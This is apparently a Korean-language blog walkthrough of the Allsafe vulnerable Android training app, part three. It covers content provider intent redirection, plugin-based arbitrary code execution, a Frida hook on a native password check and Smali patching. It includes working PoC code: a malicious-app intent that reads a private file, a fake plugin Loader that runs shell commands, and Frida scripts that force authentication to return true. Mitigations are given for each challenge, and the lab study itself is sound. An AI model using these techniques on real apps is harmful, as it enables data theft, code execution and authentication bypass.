Introduction

Part2를 지나 마지막 Part3 입니다. 계속 진행해보겠습니다.

Insecure Providers (취약한 콘텐츠 제공자)

취약점 설명

ContentProvider는 앱 간 데이터 공유를 담당합니다. 설정이 미흡할 경우 외부 앱이 DB 데이터나 내부 파일에 무단으로 접근할 수 있습니다. 특히 FileProvider가 비공개(exported="false")라도 Intent 리다이렉션 취약점과 결합되면 우회 접근이 가능합니다.

코드 분석

AndroidManifest.xml에 두 개의 프로바이더가 정의되어 있습니다.

<provider
            android:name="infosecadventures.allsafe.challenges.DataProvider"
            android:enabled="true"
            android:exported="true"
            android:authorities="infosecadventures.allsafe.dataprovider"/>
        <provider
            android:name="androidx.core.content.FileProvider"
            android:exported="false"
            android:authorities="infosecadventures.allsafe.fileprovider"
            android:grantUriPermissions="true">
            <meta-data
                android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/provider_paths"/>
        </provider>
  1. DataProvider (Exported): android:exported="true"로 설정되어 외부 접근이 가능합니다.
  2. FileProvider (Non-Exported): android:exported="false"이지만 android:grantUriPermissions="true"가 설정되어 있습니다.

또한 ProxyActivity가 존재하여 인텐트를 받아 다른 액티비티로 전달하는 역할을 합니다. 이 액티비티가 공격의 매개체(Confused Deputy)가 됩니다.

PoC 과정

1. DataProvider (간단한 접근) ADB를 통해 공개된 데이터 프로바이더를 쿼리합니다.

adb shell content query --uri "content://infosecadventures.allsafe.dataprovider"

2. FileProvider (우회 접근) 비공개 FileProvider를 통해 /docs/readme.txt를 읽으려 하면 권한 거부 오류가 발생합니다. 하지만 ProxyActivity를 이용하여 권한을 위임받는 악성 앱을 작성하면 접근이 가능합니다.

  • 악성 앱에서 FLAG_GRANT_READ_URI_PERMISSION 플래그를 설정한 인텐트를 생성하고, 타겟 데이터를 FileProvider의 URI로 설정합니다.
  • 이 인텐트를 ProxyActivity로 전송합니다.
  • ProxyActivity는 Allsafe 앱의 권한(FileProvider 접근 권한)을 가지고 있으므로, 이 권한이 포함된 인텐트를 악성 앱으로 다시 전달(Redirect)하게 됩니다.

먼저 공격 대상 파일의 URI를 알아야 합니다. InsecureProviders.java 코드를 보면 파일 위치는 /docs/readme.txt입니다. res/xml/provider_paths.xml 파일을 확인해야 정확한 URI 매핑 이름을 알 수 있습니다.

  1. Path Mapping (XML): <files-path name="files" path="."/>
    • files-path: 앱의 내부 저장소 files/ 디렉토리를 가리킴
    • name="files": URI의 중간 경로가 files가 됨
    • path=".": files/ 디렉토리의 루트부터 매핑됨
  2. Target File (Java): /docs/readme.txt
content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt

2. 공격 원리: Intent Redirection (인텐트 리다이렉션)

직접 접근은 막혀있지만(exported="false"), ProxyActivity를 통해 우회합니다.

  1. 공격자(나)는 FileProvider에 접근할 권한이 없습니다.
  2. 하지만 Allsafe 앱(ProxyActivity)은 자신의 FileProvider에 접근할 권한이 있습니다.
  3. 우리는 ProxyActivity에게 "이 URI(파일)를 읽을 권한을 가지고 내 앱으로 돌아와줘"라고 심부름(Intent)을 시킵니다.
  4. ProxyActivity가 이 심부름을 수행하면서, 자신의 권한을 공격자에게 전달(Grant)하게 됩니다.

// 악성 앱의 공격 코드 예시
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.example.infostealer.Leaker");
extra.setData(Uri.parse("content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt"));

Intent intent = new Intent();
intent.setComponent(new ComponentName("infosecadventures.allsafe", "infosecadventures.allsafe.ProxyActivity"));
intent.putExtra("extra_intent", extra);
startActivity(intent);

일반적인 위험성

  • 데이터 유출: 내부 DB 정보 및 민감한 파일이 유출될 수 있습니다.
  • 권한 우회: ProxyActivity와 같은 취약한 컴포넌트를 통해 비공개 컴포넌트에 접근할 수 있습니다.

대응 방안

  • Exported False: 외부 접근이 필요 없다면 exported="false"로 설정합니다.
  • 권한 제한: grantUriPermissions를 신중하게 사용하고, 특정 경로만 허용하도록 설정합니다.
  • 인텐트 검증: ProxyActivity와 같이 인텐트를 전달하는 경우, 전달받은 인텐트의 ClassName, PackageName, Data 등을 철저히 검증하고, 리다이렉션을 수행하기 전에 권한 부여 플래그를 제거하거나 확인해야 합니다.

Arbitrary Code Execution (임의 코드 실행)

취약점 설명

앱이 특정 패키지 이름을 가진 외부 앱을 플러그인처럼 로드하여 코드를 실행하는 기능이 있을 때, 서명 검증이 없다면 공격자가 동일한 패키지 이름을 가진 악성 앱을 만들어 코드를 실행시킬 수 있습니다.

코드 분석

<application
        android:theme="@style/Theme.Allsafe"
        android:label="@string/app_name"
        android:icon="@mipmap/ic_launcher"
        android:name="infosecadventures.allsafe.ArbitraryCodeExecution"
        android:debuggable="true"
        android:allowBackup="true"
        android:extractNativeLibs="false"
        android:networkSecurityConfig="@xml/network_security_config"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:appComponentFactory="androidx.core.app.CoreComponentFactory"
        android:requestLegacyExternalStorage="true">
        <activity
            android:name="infosecadventures.allsafe.ProxyActivity"
            android:exported="true"/>
...

private final void invokePlugins() throws IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        for (PackageInfo packageInfo : getPackageManager().getInstalledPackages(0)) {
            String packageName = packageInfo.packageName;
            Intrinsics.checkNotNullExpressionValue(packageName, "packageName");
            if (StringsKt.startsWith$default(packageName, "infosecadventures.allsafe", false, 2, (Object) null)) {
                try {
                    Context packageContext = createPackageContext(packageName, 3);                   

 packageContext.getClassLoader().loadClass("infosecadventures.allsafe.plugin.Loader").getMethod("loadPlugin", new Class[0]).invoke(null, new Object[0]);
                } catch (Exception e) {
                }
            }
        }
    }

앱 실행 시 invokePlugins 메서드가 호출됩니다. 이 메서드는 패키지 이름이 infosecadventures.allsafe로 시작하는 앱을 찾아 ClassLoader를 가져온 뒤, infosecadventures.allsafe.plugin.Loader 클래스의 loadPlugin 메서드를 실행합니다. 문제는 패키지 이름만 확인할 뿐, 해당 앱이 신뢰할 수 있는 서명(Signature)을 가졌는지 검증하지 않는다는 점입니다.

Allsafe 앱에는 "플러그인(Plugin)" 기능이 있습니다. 기능을 확장하기 위해 외부 앱의 코드를 불러와서 실행하는 기능이죠. 그런데 이 친구를 확인하는 방법이 너무 단순합니다.

  1. Allsafe: "내 폰에 깔린 앱 중에 이름(패키지명)이 infosecadventures.allsafe로 시작하는 앱이 있나?"
  2. Allsafe: "있다면 그 앱 안에 infosecadventures.allsafe.plugin.Loader라는 클래스가 있나?"
  3. Allsafe: "있다면 묻지도 따지지도 말고 그 안의 loadPlugin() 함수를 실행해!"

문제점: 공격자가 그냥 앱 이름만 비슷하게 만들어서 설치하면, Allsafe는 그걸 아군으로 착각하고 공격자가 심어둔 코드를 실행해 버립니다.

우리의 목표는 Allsafe 앱이 **내 앱(공격자 앱)**의 코드를 실행하게 만드는 것입니다. 이를 RCE (Remote Code Execution, 원격 코드 실행) 또는 **ACE (Arbitrary Code Execution, 임의 코드 실행)**라고 합니다.

공격 조건

  1. 패키지 이름 위장: 공격자 앱의 패키지 이름이 infosecadventures.allsafe로 시작해야 함. (예: infosecadventures.allsafe.hacker)
  2. 클래스 위치: 공격자 앱 안에 정확히 infosecadventures.allsafe.plugin이라는 패키지 경로에 Loader라는 클래스가 있어야 함.
  3. 함수: 그 안에 loadPlugin()이라는 함수가 있어야 함.

4단계: 실행 및 확인

  1. 이 공격용 앱을 에뮬레이터에 **설치(Run)**만 해둡니다. (앱이 켜질 필요는 없고 설치만 되어 있으면 됩니다.)
  2. 이제 Allsafe 앱을 켭니다.
  3. Allsafe 앱이 켜지면서 자동으로 폰에 있는 앱들을 검사하다가, 방금 설치한 공격 앱을 발견합니다.
  4. Loader.loadPlugin()을 실행시킵니다.
  5. 확인: 터미널이나 adb를 통해 파일이 생성되었는지 확인합니다.

Bash

adb shell ls -l /data/data/infosecadventures.allsafe/

목록에 hacked_by_me (또는 예제 코드의 compromised1337) 파일이 보이면 성공입니다.

요약

이 취약점은 "이름표만 보고 문을 열어주는 경비원"과 같습니다. 공격자는 그저 이름표(패키지명)를 위조하고, 주머니(클래스)에 흉기(악성코드)를 숨겨서 들어가기만 하면 됩니다.

PoC 과정

공격자는 다음과 같은 구조의 악성 앱을 제작하여 설치합니다.

  1. 패키지 명: infosecadventures.allsafe.plugin (접두사 일치)
  2. 클래스: Loader
  3. 메서드: loadPlugin 내부에 악성 코드 삽입
package infosecadventures.allsafe.plugin;
// ... imports ...
public class Loader extends AppCompatActivity {
    public static Object loadPlugin(){
        try {
            // 피해자 앱(Allsafe)의 권한으로 임의 파일 생성
            Runtime.getRuntime().exec("touch /data/data/infosecadventures.allsafe/compromised1337").waitFor();
        } catch (Exception e){
            throw new RuntimeException(e);
        }
        return null;
    }
}

Allsafe 앱을 실행하면 자동으로 플러그인을 로드하며 compromised1337 파일이 생성됩니다.

일반적인 위험성

  • 원격 코드 실행 (RCE): 피해자 앱의 권한으로 임의의 코드가 실행됩니다. 이는 데이터 탈취, 악성 행위 수행 등 앱의 모든 권한을 공격자에게 넘겨주는 것과 같습니다.

대응 방안

  • 서명 검증: 플러그인 앱을 로드하기 전에, 해당 패키지의 서명(Signature)이 호스트 앱의 서명과 일치하는지 또는 신뢰할 수 있는 인증서로 서명되었는지 반드시 확인해야 합니다.

16. Native Library (네이티브 라이브러리 우회)

취약점 설명

보안 로직이 Java가 아닌 Native Library(.so)에 구현되어 있어도, Frida와 같은 동적 분석 도구를 사용하면 함수 후킹을 통해 우회가 가능합니다.

코드 분석

앱은 libnative_library.so 파일 내의 checkPassword 함수를 호출하여 비밀번호를 검증합니다. 어셈블리 코드를 분석하면 이 함수가 단순히 Boolean 값(0 또는 1)을 반환함을 알 수 있습니다.

해당 반환 값을 무조건 True로 반환되도록 조작하면 우회가 가능합니다. 하지만 이번 과정에서는 네이티브 라이브러리 내 비밀번호가 평문 값으로 노출되어 있어 이를 통해 진행했습니다.

PoC 과정 (Frida)

Frida의 Interceptor를 사용하여 네이티브 함수 Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword에 연결(attach)합니다. onLeave 콜백에서 반환값(retval)을 무조건 1 (True)로 조작합니다.

var Jni = Module.getExportByName("libnative_library.so", "Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword");
Interceptor.attach(Jni, {
    onEnter: function(args){},
    onLeave: function(retval){
        retval.replace(1); // 반환값을 True로 변경
    }
});

Interceptor.attach(Module.findExportByName("libnative_library.so", "checkPass"), {
    onEnter: function (args) {
        console.log("[+] Hooking checkPass...");
        // 입력값 확인 (필요 시)
        // console.log("Input string: " + Memory.readUtf8String(args[1])); 
    },
    onLeave: function (retval) {
        console.log("[+] Original return value: " + retval);
        
        // 반환값을 무조건 1 (True)로 교체
        retval.replace(1);
        
        console.log("[+] Modified return value to: 1 (True)");
    }
});

일반적인 위험성

  • 로직 우회: 클라이언트 측에 구현된 어떠한 검증 로직도(네이티브 포함) 공격자가 제어하는 환경에서는 우회될 수 있습니다.

대응 방안

  • 서버 검증: 비밀번호 확인과 같은 중요한 로직은 반드시 서버에서 수행해야 합니다.
  • 무결성 검증: 앱 실행 시 코드가 변조되었거나 후킹 프레임워크가 동작 중인지 탐지하는 로직을 추가하여 난이도를 높일 수 있습니다.

17. Smali Patch (Smali 코드 패치)

취약점 설명

앱의 로직을 수정하기 위해 소스 코드가 없어도, APK를 디컴파일하여 Smali 코드를 직접 수정한 뒤 다시 빌드(Repackaging)하여 배포할 수 있습니다. 이를 통해 유료 기능을 무료로 사용하거나 보안 기능을 비활성화할 수 있습니다.

코드 분석

  public /* synthetic */ void lambda$onCreateView$0(Firewall firewall, View v) {
        if (firewall.equals(Firewall.ACTIVE)) {
            SnackUtil.INSTANCE.simpleMessage(requireActivity(), "Firewall is now activated, good job! 👍");
            Toast.makeText(requireContext(), "GOOD JOB!", 1).show();
        } else {
            SnackUtil.INSTANCE.simpleMessage(requireActivity(), "Firewall is down, try harder!");
        }
    }

SmaliPatch.smali 파일 내에 방화벽 활성화 여부를 체크하는 로직이 존재합니다. 기본값이 INACTIVE로 설정되어 있거나, 조건문(if-eqz)이 특정 값일 때만 통과하도록 되어 있어 방화벽이 작동하지 않습니다.

PoC 과정

  1. 디컴파일: APKLab, Apktool 등을 사용하여 APK를 디컴파일합니다.
  2. 코드 수정: 이 문제를 해결하는데 많은 방법이 있지만 가장 간단한 방법으로 진행해보겠습니다. SmaliPatch.smali 파일에서 조건문을 수정합니다.

if-eqzif-nez로 변경하면 현재 값이 0일 때 방화벽 실행이 되지 않지만, 이 논리를 반대로 적용하려 현재 값이 0이고 방화벽 실행이 가능하도록 설정할 수 있습니다.

  1. 리패키징: 수정된 코드를 다시 빌드하고 서명(Sign)하여 설치합니다.
  2. 앱 실행 시 수정된 로직이 반영되어 방화벽 기능이 활성화됨을 확인합니다.

일반적인 위험성

  • 앱 위변조: 악성 코드를 삽입하여 재배포하거나, 프리미엄 기능을 우회하는 크랙 앱이 유포될 수 있습니다.

대응 방안

  • 앱 무결성 검증 (App Integrity): 앱 실행 시 자신의 서명이나 체크섬을 확인하여 변조 여부를 탐지합니다. Play Integrity API 등을 활용할 수 있습니다.
  • 코드 난독화: 로직 분석을 어렵게 만들어 패치 지점을 찾기 힘들게 합니다.